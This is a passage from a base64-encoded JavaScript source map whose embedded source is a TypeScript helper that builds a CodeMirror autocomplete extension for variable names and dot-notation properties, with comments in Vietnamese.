FBQyxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsQ0FBQyxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLENBQUMsQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxDQUFDLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7aUJBQ3JJLENBQUM7WUFDSixDQUFDO1FBQ0gsQ0FBQztRQUNELE1BQU0sSUFBSSxHQUFHLE9BQU8sQ0FBQyxXQUFXLENBQUMsS0FBSyxDQUFDLENBQUM7UUFDeEMsSUFBSSxDQUFDLElBQUksSUFBSSxDQUFDLElBQUksQ0FBQyxJQUFJLEtBQUssSUFBSSxDQUFDLEVBQUUsSUFBSSxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUM7WUFBRSxPQUFPLElBQUksQ0FBQztRQUV2RSxPQUFPO1lBQ0wsSUFBSSxFQUFFLElBQUksQ0FBQyxJQUFJO1lBQ2YsT0FBTyxFQUFFLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsSUFBSSxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsSUFBSSxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLElBQUksQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxJQUFJLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7U0FDdkksQ0FBQztJQUNKLENBQUMsQ0FBQztJQUVGLE9BQU8sY0FBYyxDQUFDLEVBQUUsUUFBUSxFQUFFLENBQUMsZ0JBQWdCLENBQUMsRUFBRSxDQUFDLENBQUM7QUFDMUQsQ0FBQyxDQUFDIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgYXV0b2NvbXBsZXRpb24sIENvbXBsZXRpb25Db250ZXh0LCBDb21wbGV0aW9uUmVzdWx0IH0gZnJvbSAnQGNvZGVtaXJyb3IvYXV0b2NvbXBsZXRlJztcbmltcG9ydCB7IEV4dGVuc2lvbiB9IGZyb20gJ0Bjb2RlbWlycm9yL3N0YXRlJztcbmltcG9ydCB7IElQcmV2aWV3VGV4dERhdGFDb21wbGV0aW9uSXRlbSB9IGZyb20gJy4uL3ByZXZpZXctdGV4dC1kYXRhLmludGVyZmFjZXMnO1xuXG4vKipcbiAqIFThuqFvIGV4dGVuc2lvbiBhdXRvY29tcGxldGUgdOG7qyBkYW5oIHPDoWNoIGBpdGVtc2A6XG4gKiAxLiBHw7UgYG9iai5gIOKGkiBn4bujaSDDvSBwcm9wZXJ0aWVzIGPhu6dhIG9iaiAoZG90LW5vdGF0aW9uKS5cbiAqIDIuIEfDtSBrw70gdOG7sSDihpIgZ+G7o2kgw70gdMOqbiBiaeG6v24vb2JqZWN0IHRvcC1sZXZlbC5cbiAqL1xuZXhwb3J0IGNvbnN0IGJ1aWxkQ29tcGxldGlvbkV4dGVuc2lvbiA9IChpdGVtczogSVByZXZpZXdUZXh0RGF0YUNvbXBsZXRpb25JdGVtW10pOiBFeHRlbnNpb24gPT4ge1xuICBjb25zdCBjb21wbGV0aW9uU291cmNlID0gKGNvbnRleHQ6IENvbXBsZXRpb25Db250ZXh0KTogQ29tcGxldGlvblJlc3VsdCB8IG51bGwgPT4ge1xuICAgIC8vIENobyBwaMOpcCBwYXRoIG5oaeG7gXUgY+G6pXAgKGEuYi5jLikg4oCUIFtcXHcuXSsgYuG6r3QgdHLhu41uIGNodeG7l2kgdHLGsOG7m2MgY29uIHRy4buPLlxuICAgIGNvbnN0IGRvdE1hdGNoID0gY29udGV4dC5tYXRjaEJlZm9yZSgvW1xcdy5dK1xcLlxcdyovKTtcbiAgICBpZiAoZG90TWF0Y2gpIHtcbiAgICAgIGNvbnN0IHNlZ21lbnRzID0gZG90TWF0Y2gudGV4dC5zcGxpdCgnLicpO1xuICAgICAgY29uc3QgcGFydGlhbCA9IHNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtIDFdOyAvLyBwaOG6p24gxJFhbmcgZ8O1IGThu58gc2F1IGThuqV1ICcuJyBjdeG7kWlcbiAgICAgIGNvbnN0IHBhdGhTZWdtZW50cyA9IHNlZ21lbnRzLnNsaWNlKDAsIC0xKTsgLy8gY8OhYyBj4bqlcCDEkcOjIGhvw6BuIHThuqV0XG5cbiAgICAgIGxldCBjdXJyZW50ID0gaXRlbXMuZmluZCgoaXRlbSkgPT4gaXRlbS5sYWJlbCA9PT0gcGF0aFNlZ21lbnRzWzBdKTtcbiAgICAgIGZvciAobGV0IGxldmVsID0gMTsgbGV2ZWwgPCBwYXRoU2VnbWVudHMubGVuZ3RoICYmIGN1cnJlbnQ7IGxldmVsKyspIHtcbiAgICAgICAgY3VycmVudCA9IGN1cnJlbnQucHJvcGVydGllcz8uZmluZCgocHJvcGVydHkpID0+IHByb3BlcnR5LmxhYmVsID09PSBwYXRoU2VnbWVudHNbbGV2ZWxdKTtcbiAgICAgIH1cbiAgICAgIGlmIChjdXJyZW50Py5wcm9wZXJ0aWVzPy5sZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICBmcm9tOiBjb250ZXh0LnBvcyAtIHBhcnRpYWwubGVuZ3RoLFxuICAgICAgICAgIG9wdGlvbnM6IGN1cnJlbnQucHJvcGVydGllcy5tYXAoKHApID0+ICh7IGxhYmVsOiBwLmxhYmVsLCB0eXBlOiBwLnR5cGUgPz8gJ3Byb3BlcnR5JywgZGV0YWlsOiBwLmRldGFpbCA/PyAnJywgaW5mbzogcC5pbmZvID8/ICcnIH0pKSxcbiAgICAgICAgfTtcbiAgICAgIH1cbiAgICB9XG4gICAgY29uc3Qgd29yZCA9IGNvbnRleHQubWF0Y2hCZWZvcmUoL1xcdyovKTtcbiAgICBpZiAoIXdvcmQgfHwgKHdvcmQuZnJvbSA9PT0gd29yZC50byAmJiAhY29udGV4dC5leHBsaWNpdCkpIHJldHVybiBudWxsO1xuXG4gICAgcmV0dXJuIHtcbiAgICAgIGZyb206IHdvcmQuZnJvbSxcbiAgICAgIG9wdGlvbnM6IGl0ZW1zLm1hcCgoaXRlbSkgPT4gKHsgbGFiZWw6IGl0ZW0ubGFiZWwsIHR5cGU6IGl0ZW0udHlwZSA/PyAndmFyaWFibGUnLCBkZXRhaWw6IGl0ZW0uZGV0YWlsID8/ICcnLCBpbmZvOiBpdGVtLmluZm8gPz8gJycgfSkpLFxuICAgIH07XG4gIH07XG5cbiAgcmV0dXJuIGF1dG9jb21wbGV0aW9uKHsgb3ZlcnJpZGU6IFtjb21wbGV0aW9uU291cmNlXSB9KTtcbn07XG4iXX0=